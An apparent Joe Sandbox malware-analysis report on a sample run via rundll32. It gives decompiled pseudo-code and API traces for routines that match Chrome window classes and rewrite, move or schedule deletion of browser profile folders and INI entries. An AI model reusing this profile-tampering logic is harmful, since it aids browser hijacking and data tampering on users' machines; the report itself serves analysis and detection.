0x04a02800
0x04a02804
0x04a0280a
0x04a0280a
0x04a02775
0x04a02818
0x04a02824
0x04a02831
0x04a0283e
0x04a02844
0x04a0284c
0x04a0284f
0x04a02850
0x04a02854
0x04a0288a
0x04a02685
0x04a0268e
0x04a026b9
0x04a026b9
0x04a02631
0x04a0263b
0x04a0264d
0x04a0267f
0x04a0267f
0x04a0262f
0x04a02626
0x04a02615
0x04a0250f

APIs

SHGetFolderPathW.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 04A024B5
lstrcatW.KERNEL32(?,?), ref: 04A024D9
lstrcatW.KERNEL32(?,?), ref: 04A024EA
lstrcatW.KERNEL32(?), ref: 04A024FA
GetFileAttributesW.KERNEL32(?), ref: 04A0250A
lstrcpyW.KERNEL32 ref: 04A0252A
lstrcatW.KERNEL32(?,?), ref: 04A02539
GetFileAttributesW.KERNEL32(?), ref: 04A02543
CreateDirectoryW.KERNEL32(?,00000000), ref: 04A02558
lstrcatW.KERNEL32(?,?), ref: 04A0256D
lstrcpyW.KERNEL32 ref: 04A0257C
lstrlenW.KERNEL32(C:\Users\user\AppData\LocalLow\), ref: 04A02587
GetTickCount.KERNEL32 ref: 04A02597
GetFileAttributesW.KERNEL32 ref: 04A02610
CreateDirectoryW.KERNEL32(?,00000000), ref: 04A0263B
MoveFileExW.KERNEL32(?,00000000,00000004), ref: 04A0264D
lstrcpyW.KERNEL32 ref: 04A026D0
lstrcpyW.KERNEL32 ref: 04A026DF
lstrlenW.KERNEL32(?), ref: 04A026EF
lstrlenW.KERNEL32(?), ref: 04A026FA

Part of subcall function 04A03D50: lstrcpyW.KERNEL32 ref: 04A03D6D
Part of subcall function 04A03D50: lstrcpyW.KERNEL32 ref: 04A03D9F
Part of subcall function 04A03D50: FindFirstFileW.KERNEL32(?,?), ref: 04A03DCE
Part of subcall function 04A03D50: lstrcatW.KERNEL32(?,?), ref: 04A03E00
Part of subcall function 04A03D50: lstrcatW.KERNEL32(?,?), ref: 04A03E1B
Part of subcall function 04A03D50: CopyFileW.KERNEL32(?,?,00000000), ref: 04A03E2C
Part of subcall function 04A03D50: FindNextFileW.KERNEL32(00000000,00000010), ref: 04A03E40
Part of subcall function 04A03D50: FindClose.KERNEL32(00000000), ref: 04A03E4B

lstrcatW.KERNEL32(?), ref: 04A02727
lstrcatW.KERNEL32(?), ref: 04A02734
GetFileAttributesW.KERNEL32(?), ref: 04A02758
GetFileAttributesW.KERNEL32(?), ref: 04A02770
CreateDirectoryW.KERNEL32(?,00000000), ref: 04A02782
lstrcatW.KERNEL32(?,7476F9C0), ref: 04A027C6
lstrcatW.KERNEL32(?,7476F9C0), ref: 04A027CE
lstrcatW.KERNEL32(?), ref: 04A02831
lstrcatW.KERNEL32(?), ref: 04A0283E
lstrlenW.KERNEL32(?), ref: 04A028E8
EnterCriticalSection.KERNEL32(04A16714), ref: 04A0291C
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A0293A

Strings

C:\Users\user\AppData\LocalLow\, xrefs: 04A0251D, 04A0256F, 04A02582

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: lstrcat$File$lstrcpy$Attributes$lstrlen$CreateDirectoryFind$CriticalSection$CloseCopyCountEnterFirstFolderLeaveMoveNextPathTick
String ID: C:\Users\user\AppData\LocalLow\
API String ID: 3445311092-3932509074
Opcode ID: 8f553534a68fabfd014f0ca7a3c23541ffee694b888e1fc52842029441baa53c
Instruction ID: bb338dd547c0d6ac5991005dca09e3eb52452366733b8e96dfd4016255d8b49d
Opcode Fuzzy Hash: 8f553534a68fabfd014f0ca7a3c23541ffee694b888e1fc52842029441baa53c
Instruction Fuzzy Hash: B0C161725043459FD720DFA4EC48B9BB7E8FB89314F044929F688D3150E739E94ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 04A0A270 Relevance: 54.6, APIs: 18, Strings: 13, Instructions: 314
stringCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E04A0A270(struct HWND__* __ecx, struct tagPOINT _a4, intOrPtr _a8) {
				short _v104;
				short _v116;
				short _v176;
				short _v178;
				short _v180;
				short _v182;
				short _v184;
				intOrPtr _v186;
				short _v188;
				short _v190;
				short _v192;
				short _v194;
				short _v196;
				intOrPtr _v198;
				short _v200;
				short _v202;
				short _v204;
				intOrPtr _v206;
				short _v208;
				short _t47;
				signed char _t48;
				struct HWND__* _t51;
				struct HWND__* _t52;
				int _t54;
				struct HWND__* _t56;
				struct HWND__* _t58;
				struct HWND__* _t61;
				struct HWND__* _t63;
				struct HWND__* _t64;
				int _t66;
				struct HWND__* _t68;
				struct HWND__* _t70;
				int _t72;
				int _t74;
				struct HWND__* _t78;
				struct HWND__* _t81;
				struct HWND__* _t85;
				struct HWND__* _t89;
				struct HWND__* _t92;
				struct HWND__* _t95;
				intOrPtr _t97;
				intOrPtr _t101;
				int _t102;
				void* _t105;

				_push(_a8);
				_t95 = __ecx;
				_t105 = 0;
				if(PtInRect(0x4a163a4, _a4) == 0) {
					_t102 = GetClassNameW(_t95,  &_v208, 0x32);
					__eflags = _t102 - 0xc;
					if(_t102 != 0xc) {
						__eflags = _t102 - 0xe;
						if(_t102 != 0xe) {
							_t101 = _v198;
							_t97 = _v206;
							_t47 = _v208;
							__eflags = _t102 - 0x11;
							if(_t102 <= 0x11) {
								L27:
								__eflags = _t102 - 0x1b;
								if(_t102 != 0x1b) {
									__eflags = _t102 - 6;
									if(__eflags <= 0) {
										goto L40;
									} else {
										goto L32;
									}
								} else {
									_t85 = lstrcmpW( &_v208,  *0x4a1677c);
									__eflags = _t85;
									if(_t85 != 0) {
										goto L30;
									} else {
										return 0x80;
									}
								}
							} else {
								__eflags = _t47 - 0x43;
								if(_t47 != 0x43) {
									goto L27;
								} else {
									__eflags = _t97 - 0x68;
									if(_t97 != 0x68) {
										goto L27;
									} else {
										__eflags = _v204 - 0x72;
										if(_v204 != 0x72) {
											goto L27;
										} else {
											__eflags = _v202 - 0x6f;
											if(_v202 != 0x6f) {
												goto L27;
											} else {
												__eflags = _v200 - 0x6d;
												if(_v200 != 0x6d) {
													goto L27;
												} else {
													__eflags = _t101 - 0x65;
													if(_t101 != 0x65) {
														goto L27;
													} else {
														__eflags = _v196 - 0x5f;
														if(_v196 != 0x5f) {
															goto L27;
														} else {
															__eflags = _v194 - 0x57;
															if(_v194 != 0x57) {
																goto L27;
															} else {
																__eflags = _v192 - 0x69;
																if(_v192 != 0x69) {
																	goto L27;
																} else {
																	__eflags = _v190 - 0x64;
																	if(_v190 != 0x64) {
																		goto L27;
																	} else {
																		__eflags = _v188 - 0x67;
																		if(_v188 != 0x67) {
																			goto L27;
																		} else {
																			__eflags = _v186 - _t101;
																			if(_v186 != _t101) {
																				goto L27;
																			} else {
																				__eflags = _v184 - 0x74;
																				if(_v184 != 0x74) {
																					goto L27;
																				} else {
																					__eflags = _v182 - 0x57;
																					if(_v182 != 0x57) {
																						goto L27;
																					} else {
																						__eflags = _v180 - 0x69;
																						if(_v180 != 0x69) {
																							goto L27;
																						} else {
																							__eflags = _v178 - 0x6e;
																							if(_v178 != 0x6e) {
																								goto L27;
																							} else {
																								__eflags = _v176 - 0x5f;
																								if(_v176 != 0x5f) {
																									goto L27;
																								} else {
																									return 0x40;
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						} else {
							_t89 = lstrcmpW( &_v208,  *0x4a16784);
							__eflags = _t89;
							if(_t89 != 0) {
								goto L30;
							} else {
								return 0x20;
							}
						}
					} else {
						_t92 = lstrcmpW( &_v208,  *0x4a16780);
						__eflags = _t92;
						if(_t92 != 0) {
							L30:
							_t101 = _v198;
							_t97 = _v206;
							_t47 = _v208;
							L32:
							__eflags = _t47 - 0x53;
							if(_t47 != 0x53) {
								L39:
								__eflags = _t102 - 6;
								L40:
								if(__eflags != 0) {
									__eflags = _t102 - 9;
									if(_t102 != 9) {
										goto L46;
									} else {
										_t78 = lstrcmpW( &_v208,  *0x4a167a0);
										__eflags = _t78;
										if(_t78 != 0) {
											goto L46;
										} else {
											return 8;
										}
									}
								} else {
									_t81 = lstrcmpW( &_v208,  *0x4a1679c);
									__eflags = _t81;
									if(_t81 != 0) {
										L46:
										_t48 = GetWindowLongA(_t95, 0xffffffec);
										__eflags = _t48 & 0x00000040;
										if((_t48 & 0x00000040) == 0) {
											__eflags = _t102 - 0xd;
											if(_t102 != 0xd) {
												__eflags = _t102 - 6;
												if(_t102 != 6) {
													goto L71;
												} else {
													_t51 = lstrcmpiW( &_v208,  *0x4a167ac);
													__eflags = _t51;
													if(_t51 != 0) {
														goto L71;
													} else {
														_t52 = GetParent(_t95);
														__eflags = _t52;
														if(_t52 == 0) {
															goto L71;
														} else {
															_t54 = GetClassNameW(_t52,  &_v104, 0x32);
															__eflags = GetClassNameW - 0x10;
															if(GetClassNameW != 0x10) {
																__eflags = _t54 - 0x1a;
																if(_t54 == 0x1a) {
																	_push( *0x4a16794);
																	goto L69;
																}
																goto L71;
															} else {
																_t58 = lstrcmpiW( &_v116,  *0x4a16790);
																__eflags = _t58;
																if(_t58 == 0) {
																	goto L70;
																} else {
																	return _t105;
																}
															}
														}
													}
												}
											} else {
												_t61 = lstrcmpiW( &_v208,  *0x4a167a4);
												__eflags = _t61;
												if(_t61 != 0) {
													_t63 = lstrcmpiW( &_v208,  *0x4a167a8);
													__eflags = _t63;
													if(_t63 != 0) {
														goto L71;
													} else {
														_t64 = GetParent(_t95);
														__eflags = _t64;
														if(_t64 == 0) {
															goto L71;
														} else {
															_t66 = GetClassNameW(_t64,  &_v104, 0x32);
															__eflags = GetClassNameW - 0xa;
															if(GetClassNameW != 0xa) {
																__eflags = _t66 - 0x12;
																if(_t66 == 0x12) {
																	_push( *0x4a1678c);
																	L69:
																	_t56 = lstrcmpiW( &_v116, ??);
																	__eflags = _t56;
																	if(_t56 == 0) {
																		goto L70;
																	}
																}
																goto L71;
															} else {
																_t68 = lstrcmpiW( &_v116,  *0x4a16788);
																__eflags = _t68;
																if(_t68 == 0) {
																	L70:
																	_t105 = 0x100;
																	goto L71;
																} else {
																	return _t105;
																}
															}
														}
													}
												} else {
													_t105 = 0x800;
													_t70 = GetParent(_t95);
													__eflags = _t70;
													if(_t70 == 0) {
														L71:
														return _t105;
													} else {
														_t72 = GetClassNameW(_t70,  &_v104, 0x32);
														__eflags = _t72 - 0x14;
														if(_t72 != 0x14) {
															goto L71;
														} else {
															_t74 = lstrcmpiW( &_v116,  *0x4a16798);
															__eflags = _t74;
															if(_t74 != 0) {
																goto L71;
															} else {
																return 0xa00;
															}
														}
													}
												}
											}
										} else {
											return 0x10;
										}
									} else {
										return 4;
									}
								}
							} else {
								__eflags = _t97 - 0x75;
								if(_t97 != 0x75) {
									goto L39;
								} else {
									__eflags = _v204 - 0x6e;
									if(_v204 != 0x6e) {
										goto L39;
									} else {
										__eflags = _v202 - 0x41;
										if(_v202 != 0x41) {
											goto L39;
										} else {
											__eflags = _v200 - 0x77;
											if(_v200 != 0x77) {
												goto L39;
											} else {
												__eflags = _t101 - 0x74;
												if(_t101 != 0x74) {
													goto L39;
												} else {
													return 2;
												}
											}
										}
									}
								}
							}
						} else {
							return 1;
						}
					}
				} else {
					return 0x400;
				}
			}

0x04a0a27a
0x04a0a281
0x04a0a283
0x04a0a299
0x04a0a2bf
0x04a0a2c1
0x04a0a2c4
0x04a0a2ed
0x04a0a2f0
0x04a0a319
0x04a0a31e
0x04a0a323
0x04a0a328
0x04a0a32b
0x04a0a3cc
0x04a0a3cc
0x04a0a3cf
0x04a0a405
0x04a0a408
0x00000000
0x00000000
0x00000000
0x00000000
0x04a0a3d1
0x04a0a3dc
0x04a0a3de
0x04a0a3e0
0x00000000
0x04a0a3e2
0x04a0a3f3
0x04a0a3f3
0x04a0a3e0
0x04a0a331
0x04a0a331
0x04a0a335
0x00000000
0x04a0a33b
0x04a0a33b
0x04a0a33f
0x00000000
0x04a0a345
0x04a0a345
0x04a0a34b
0x00000000
0x04a0a34d
0x04a0a34d
0x04a0a353
0x00000000
0x04a0a355
0x04a0a355
0x04a0a35b
0x00000000
0x04a0a35d
0x04a0a35d
0x04a0a361
0x00000000
0x04a0a363
0x04a0a363
0x04a0a369
0x00000000
0x04a0a36b
0x04a0a36b
0x04a0a371
0x00000000
0x04a0a373
0x04a0a373
0x04a0a379
0x00000000
0x04a0a37b
0x04a0a37b
0x04a0a381
0x00000000
0x04a0a383
0x04a0a383
0x04a0a389
0x00000000
0x04a0a38b
0x04a0a38b
0x04a0a390
0x00000000
0x04a0a392
0x04a0a392
0x04a0a398
0x00000000
0x04a0a39a
0x04a0a39a
0x04a0a3a0
0x00000000
0x04a0a3a2
0x04a0a3a2
0x04a0a3a8
0x00000000
0x04a0a3aa
0x04a0a3aa
0x04a0a3b0
0x00000000
0x04a0a3b2
0x04a0a3b2
0x04a0a3b8
0x00000000
0x04a0a3ba
0x04a0a3cb
0x04a0a3cb
0x04a0a3b8
0x04a0a3b0
0x04a0a3a8
0x04a0a3a0
0x04a0a398
0x04a0a390
0x04a0a389
0x04a0a381
0x04a0a379
0x04a0a371
0x04a0a369
0x04a0a361
0x04a0a35b
0x04a0a353
0x04a0a34b
0x04a0a33f
0x04a0a335
0x04a0a2f2
0x04a0a2fd
0x04a0a2ff
0x04a0a301
0x00000000
0x04a0a307
0x04a0a318
0x04a0a318
0x04a0a301
0x04a0a2c6
0x04a0a2d1
0x04a0a2d3
0x04a0a2d5
0x04a0a3f4
0x04a0a3f4
0x04a0a3f9
0x04a0a3fe
0x04a0a40a
0x04a0a40a
0x04a0a40e
0x04a0a446
0x04a0a446
0x04a0a449
0x04a0a449
0x04a0a46e
0x04a0a471
0x00000000
0x04a0a473
0x04a0a47e
0x04a0a480
0x04a0a482
0x00000000
0x04a0a484
0x04a0a495
0x04a0a495
0x04a0a482
0x04a0a44b
0x04a0a456
0x04a0a458
0x04a0a45a
0x04a0a496
0x04a0a499
0x04a0a49f
0x04a0a4a1
0x04a0a4b5
0x04a0a4b8
0x04a0a58f
0x04a0a592
0x00000000
0x04a0a594
0x04a0a5a5
0x04a0a5a7
0x04a0a5a9
0x00000000
0x04a0a5ab
0x04a0a5ac
0x04a0a5b2
0x04a0a5b4
0x00000000
0x04a0a5b6
0x04a0a5c3
0x04a0a5c5
0x04a0a5c8
0x04a0a5e8
0x04a0a5eb
0x04a0a5ed
0x00000000
0x04a0a5ed
0x00000000
0x04a0a5ca
0x04a0a5d5
0x04a0a5d7
0x04a0a5d9
0x00000000
0x04a0a5db
0x04a0a5e7
0x04a0a5e7
0x04a0a5d9
0x04a0a5c8
0x04a0a5b4
0x04a0a5a9
0x04a0a4be
0x04a0a4cf
0x04a0a4d1
0x04a0a4d3
0x04a0a533
0x04a0a535
0x04a0a537
0x00000000
0x04a0a53d
0x04a0a53e
0x04a0a544
0x04a0a546
0x00000000
0x04a0a54c
0x04a0a559
0x04a0a55b
0x04a0a55e
0x04a0a582
0x04a0a585
0x04a0a587
0x04a0a5f3
0x04a0a5f8
0x04a0a5fa
0x04a0a5fc
0x00000000
0x00000000
0x04a0a5fc
0x00000000
0x04a0a560
0x04a0a56b
0x04a0a56d
0x04a0a56f
0x04a0a5fe
0x04a0a5fe
0x00000000
0x04a0a575
0x04a0a581
0x04a0a581
0x04a0a56f
0x04a0a55e
0x04a0a546
0x04a0a4d5
0x04a0a4d6
0x04a0a4db
0x04a0a4e1
0x04a0a4e3
0x04a0a604
0x04a0a60f
0x04a0a4e9
0x04a0a4f6
0x04a0a4f8
0x04a0a4fb
0x00000000
0x04a0a501
0x04a0a50c
0x04a0a50e
0x04a0a510
0x00000000
0x04a0a516
0x04a0a527
0x04a0a527
0x04a0a510
0x04a0a4fb
0x04a0a4e3
0x04a0a4d3
0x04a0a4a3
0x04a0a4b4
0x04a0a4b4
0x04a0a45c
0x04a0a46d
0x04a0a46d
0x04a0a45a
0x04a0a410
0x04a0a410
0x04a0a414
0x00000000
0x04a0a416
0x04a0a416
0x04a0a41c
0x00000000
0x04a0a41e
0x04a0a41e
0x04a0a424
0x00000000
0x04a0a426
0x04a0a426
0x04a0a42c
0x00000000
0x04a0a42e
0x04a0a42e
0x04a0a432
0x00000000
0x04a0a434
0x04a0a445
0x04a0a445
0x04a0a432
0x04a0a42c
0x04a0a424
0x04a0a41c
0x04a0a414
0x04a0a2db
0x04a0a2ec
0x04a0a2ec
0x04a0a2d5
0x04a0a29b
0x04a0a2aa
0x04a0a2aa

APIs

PtInRect.USER32(04A163A4,?,?), ref: 04A0A291
GetClassNameW.USER32 ref: 04A0A2B3
lstrcmpW.KERNEL32(?,?,?), ref: 04A0A2D1

Strings

_, xrefs: 04A0A3B2
W, xrefs: 04A0A36B
i, xrefs: 04A0A373
t, xrefs: 04A0A392
d, xrefs: 04A0A37B
n, xrefs: 04A0A416
n, xrefs: 04A0A3AA
_, xrefs: 04A0A363
W, xrefs: 04A0A39A
i, xrefs: 04A0A3A2
w, xrefs: 04A0A426
g, xrefs: 04A0A383
A, xrefs: 04A0A41E

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: ClassNameRectlstrcmp
String ID: A$W$W$_$_$d$g$i$i$n$n$t$w
API String ID: 2219266907-4138477769
Opcode ID: b44015466475ec8fd0079c419627dfc759d2a3bd76f949afd695c36042288acd
Instruction ID: 535ef81693b7c07ff41f778683e01b4e5cece780f10a2e4699c64c2a50f3ea48
Opcode Fuzzy Hash: b44015466475ec8fd0079c419627dfc759d2a3bd76f949afd695c36042288acd
Instruction Fuzzy Hash: 0991BC76B043065BDF209F54FC44BAA73A5E7A4361F40C436E908D31D0E27EE98A9763

Uniqueness

Uniqueness Score: -1.00%

Function 04A02C40 Relevance: 45.8, APIs: 25, Strings: 1, Instructions: 305
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E04A02C40(WCHAR* __ecx, WCHAR* __edx, intOrPtr _a4) {
				short _v544;
				short _v1064;
				short _v1584;
				short _v1688;
				short _v1792;
				char _v1812;
				intOrPtr _v1816;
				intOrPtr _v1820;
				WCHAR* _v1824;
				WCHAR* _v1828;
				intOrPtr _v1832;
				char _v1836;
				WCHAR* _v1840;
				WCHAR* _v1844;
				WCHAR* _v1848;
				void* _t76;
				signed char _t79;
				void* _t94;
				signed short _t100;
				signed short _t103;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				intOrPtr _t110;
				signed char _t111;
				intOrPtr _t116;
				signed int _t143;
				signed int _t144;
				void* _t149;
				long _t150;
				void* _t153;
				WCHAR* _t154;
				short _t159;
				short _t160;
				WCHAR* _t167;
				short* _t172;
				WCHAR* _t173;
				short* _t174;
				WCHAR* _t175;
				signed int _t180;
				signed int _t181;
				char* _t186;
				void* _t187;
				WCHAR* _t188;
				signed int _t191;
				void* _t192;
				signed int _t195;
				void* _t196;
				signed int _t205;
				WCHAR* _t206;
				signed int _t209;
				signed int _t211;
				void* _t214;
				void* _t216;
				void* _t219;

				_t154 = __ecx;
				_t188 = __edx;
				_v1828 = __edx;
				_v1824 = __ecx;
				_t76 = E04A010D0(__ecx, 0, 0x208);
				_t214 = (_t211 & 0xfffffff8) - 0x724 + 0xc;
				__imp__SHGetFolderPathW(0, 0x1a, 0, 0, _t154, _t187, _t196, _t153);
				if(_t76 != 0) {
					L36:
					return 0;
				} else {
					lstrcatW(_t154,  *0x4a168a4);
					_t79 = GetFileAttributesW(_t154);
					if(_t79 == 0xffffffff || (_t79 & 0x00000010) == 0) {
						goto L36;
					} else {
						lstrcpyW( &_v1064,  *0x4a168ac);
						if(_a4 != 2) {
							_push(L"d06ed635");
						} else {
							_t150 = GetTickCount();
							_t186 =  &_v1812;
							E04A01290(_t150, _t150, _t186);
							_push(_t186);
						}
						lstrcatW( &_v1064, ??);
						lstrcpyW( &_v1584, _t154);
						lstrcatW( &_v1584,  *0x4a168a8);
						WritePrivateProfileStringW(L"d06ed635",  *0x4a168b0, 0x4a0f2dc,  &_v1584);
						WritePrivateProfileStringW(L"d06ed635",  *0x4a168b4,  &_v1064,  &_v1584);
						E04A010D0(_t188, 0, 0x208);
						_t94 = E04A02A30( &_v1584,  &_v1688,  *0x4a168e0);
						_t216 = _t214 + 0x10;
						if(_t94 != 0) {
							L8:
							if(GetPrivateProfileStringW( &_v1688,  *0x4a168b4, 0,  &_v1792, 0x32,  &_v1584) != 0 || GetPrivateProfileStringW( &_v1688,  *0x4a16748, 0,  &_v1792, 0x32,  &_v1584) > 3) {
								lstrcpyW(_t188, _t154);
								_t100 = _v1792;
								_t180 = 0;
								if(_t100 != 0) {
									_t174 =  &_v1792;
									_t209 = _t100 & 0x0000ffff;
									_t26 = _t180 + 0x5c; // 0x5c
									_t160 = _t26;
									do {
										if(_t209 == 0x2f) {
											 *_t174 = _t160;
										}
										_t180 = _t180 + 1;
										_t175 =  &_v1792;
										_t144 =  *(_t175 + _t180 * 2) & 0x0000ffff;
										_t174 = _t175 + _t180 * 2;
										_t209 = _t144;
									} while (_t144 != 0);
									_t154 = _v1844;
								}
								lstrcatW(_t188,  &_v1792);
							} else {
								goto L17;
							}
						} else {
							_t149 = E04A02A30( &_v1584,  &_v1688,  *0x4a16748);
							_t216 = _t216 + 4;
							if(_t149 != 0) {
								goto L8;
							}
						}
						_t103 = _v1064;
						_t181 = 0;
						if(_t103 != 0) {
							_t172 =  &_v1064;
							_t195 = _t103 & 0x0000ffff;
							_t36 = _t181 + 0x5c; // 0x5c
							_t159 = _t36;
							do {
								if(_t195 == 0x2f) {
									 *_t172 = _t159;
								}
								_t181 = _t181 + 1;
								_t173 =  &_v1064;
								_t143 =  *(_t173 + _t181 * 2) & 0x0000ffff;
								_t172 = _t173 + _t181 * 2;
								_t195 = _t143;
							} while (_t143 != 0);
							_t154 = _v1844;
							_t188 = _v1848;
						}
						lstrcatW(_t154,  &_v1064);
						_t106 =  *0x4a168cc; // 0x4a1848e
						_v1832 = _t106;
						_t107 =  *0x4a168d0; // 0x4a1849c
						_v1828 = _t107;
						_t108 =  *0x4a168d4; // 0x4a184a8
						_v1824 = _t108;
						_t109 =  *0x4a168d8; // 0x4a184c4
						_v1820 = _t109;
						_t110 =  *0x4a168dc; // 0x4a184d8
						_v1836 = 5;
						_v1816 = _t110;
						_t111 = GetFileAttributesW(_t154);
						if(_t111 == 0xffffffff || (_t111 & 0x00000010) == 0) {
							L34:
							E04A02330(_t188, _t154,  &_v1836);
							goto L35;
						} else {
							_t116 = _a4;
							if(_t116 == 1) {
								lstrlenW(_t154);
								E04A01000( &_v544, _t154, _t117 + _t117);
								E04A01220( &(( &_v544)[_t117]),  *0x4a1680c, GetTickCount());
								_t216 = _t216 + 0x18;
								MoveFileW(_t154,  &_v544);
								goto L34;
							} else {
								if(_t116 != 2) {
									if(_t116 != 0) {
										L35:
										E04A02AC0(_t154);
										return 1;
									} else {
										_t191 = lstrlenW(_t188);
										_t205 = lstrlenW(_t154);
										E04A03D50(_v1848, _t154, _t191, _t205);
										_t167 = _v1848;
										_t219 = _t216 + 8;
										_t192 = 0;
										_v1844 =  &(_t167[_t191]);
										_v1840 =  &(_t154[_t205]);
										asm("o16 nop [eax+eax]");
										do {
											_t62 = _t192 + 0x4a0f2fc; // 0x65
											_t206 =  *(0x4a16730 +  *_t62 * 4);
											lstrcatW(_t167, _t206);
											lstrcatW(_t154, _t206);
											E04A02330(_v1848, _t154, 0);
											_t192 = _t192 + 4;
											_t219 = _t219 + 4;
											 *_v1844 = 0;
											 *_v1840 = 0;
											_t167 = _v1848;
										} while (_t192 < 8);
										E04A02AC0(_t154);
										return 1;
									}
								} else {
									CreateDirectoryW(_t154, 0);
									MoveFileExW(_t154, 0, 4);
									E04A02AC0(_t154);
									return 1;
								}
							}
						}
					}
				}
			}

0x04a02c54
0x04a02c56
0x04a02c5b
0x04a02c5f
0x04a02c63
0x04a02c68
0x04a02c74
0x04a02c7c
0x04a0302d
0x04a03035
0x04a02c82
0x04a02c8f
0x04a02c92
0x04a02c9b
0x00000000
0x04a02ca9
0x04a02cb7
0x04a02cc1
0x04a02cd9
0x04a02cc3
0x04a02cc3
0x04a02cc9
0x04a02ccf
0x04a02cd6
0x04a02cd6
0x04a02ce6
0x04a02cf1
0x04a02d05
0x04a02d25
0x04a02d42
0x04a02d4c
0x04a02d68
0x04a02d6d
0x04a02d72
0x04a02d98
0x04a02dc1
0x04a02deb
0x04a02df1
0x04a02df6
0x04a02dfb
0x04a02dfd
0x04a02e01
0x04a02e04
0x04a02e04
0x04a02e07
0x04a02e0b
0x04a02e0d
0x04a02e0d
0x04a02e10
0x04a02e11
0x04a02e15
0x04a02e19
0x04a02e1c
0x04a02e1e
0x04a02e23
0x04a02e23
0x04a02e33
0x00000000
0x00000000
0x00000000
0x04a02d74
0x04a02d88
0x04a02d8d
0x04a02d92
0x00000000
0x00000000
0x04a02d92
0x04a02e3d
0x04a02e45
0x04a02e4a
0x04a02e4c
0x04a02e53
0x04a02e56
0x04a02e56
0x04a02e60
0x04a02e64
0x04a02e66
0x04a02e66
0x04a02e69
0x04a02e6a
0x04a02e71
0x04a02e75
0x04a02e78
0x04a02e7a
0x04a02e7f
0x04a02e83
0x04a02e83
0x04a02e90
0x04a02e92
0x04a02e97
0x04a02e9b
0x04a02ea0
0x04a02ea4
0x04a02ea9
0x04a02ead
0x04a02eb2
0x04a02eb6
0x04a02ebc
0x04a02ec4
0x04a02ec8
0x04a02ed1
0x04a03009
0x04a03012
0x00000000
0x04a02edf
0x04a02edf
0x04a02ee5
0x04a02fc3
0x04a02fd2
0x04a02ff2
0x04a02ff7
0x04a03003
0x00000000
0x04a02eeb
0x04a02eee
0x04a02f19
0x04a0301a
0x04a0301c
0x04a0302c
0x04a02f1f
0x04a02f29
0x04a02f31
0x04a02f37
0x04a02f3c
0x04a02f40
0x04a02f46
0x04a02f48
0x04a02f4f
0x04a02f57
0x04a02f60
0x04a02f60
0x04a02f66
0x04a02f6f
0x04a02f77
0x04a02f85
0x04a02f90
0x04a02f93
0x04a02f96
0x04a02f9d
0x04a02fa0
0x04a02fa4
0x04a02fab
0x04a02fbb
0x04a02fbb
0x04a02ef0
0x04a02ef3
0x04a02efe
0x04a02f06
0x04a02f16
0x04a02f16
0x04a02eee
0x04a02ee5
0x04a02ed1
0x04a02c9b

APIs

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000), ref: 04A02C74
lstrcatW.KERNEL32 ref: 04A02C8F
GetFileAttributesW.KERNEL32 ref: 04A02C92
lstrcpyW.KERNEL32 ref: 04A02CB7
GetTickCount.KERNEL32 ref: 04A02CC3
lstrcatW.KERNEL32(?,d06ed635), ref: 04A02CE6
lstrcpyW.KERNEL32 ref: 04A02CF1
lstrcatW.KERNEL32(?), ref: 04A02D05
WritePrivateProfileStringW.KERNEL32(d06ed635,04A0F2DC,?), ref: 04A02D25
WritePrivateProfileStringW.KERNEL32(d06ed635,?,?), ref: 04A02D42
GetPrivateProfileStringW.KERNEL32 ref: 04A02DBD
GetPrivateProfileStringW.KERNEL32 ref: 04A02DE2
lstrcpyW.KERNEL32 ref: 04A02DEB
lstrcatW.KERNEL32(?,?), ref: 04A02E33
lstrcatW.KERNEL32(?,?), ref: 04A02E90
GetFileAttributesW.KERNEL32 ref: 04A02EC8
CreateDirectoryW.KERNEL32(?,00000000), ref: 04A02EF3
MoveFileExW.KERNEL32(?,00000000,00000004,?,00000000), ref: 04A02EFE
lstrlenW.KERNEL32 ref: 04A02F26
lstrlenW.KERNEL32 ref: 04A02F2B
lstrcatW.KERNEL32(?,00000000), ref: 04A02F6F
lstrcatW.KERNEL32(?,00000000), ref: 04A02F77
lstrlenW.KERNEL32 ref: 04A02FBD
GetTickCount.KERNEL32 ref: 04A02FDA

Part of subcall function 04A01220: wvsprintfW.USER32(?,?,?), ref: 04A0122D

MoveFileW.KERNEL32(?,?), ref: 04A03003

Part of subcall function 04A02AC0: lstrcpyW.KERNEL32 ref: 04A02AD0
Part of subcall function 04A02AC0: GetFileAttributesW.KERNEL32(?,?,747582B0), ref: 04A02AE1
Part of subcall function 04A02AC0: lstrcatW.KERNEL32(?), ref: 04A02AFF
Part of subcall function 04A02AC0: GetFileAttributesW.KERNEL32(?,?,747582B0), ref: 04A02B0A
Part of subcall function 04A02AC0: CreateFileW.KERNEL32(10000000,10000000,00000000,00000000,00000003,00000000,00000000,?,747582B0), ref: 04A02B2D
Part of subcall function 04A02AC0: GetFileSize.KERNEL32(00000000,00000000,?,?,747582B0), ref: 04A02B41
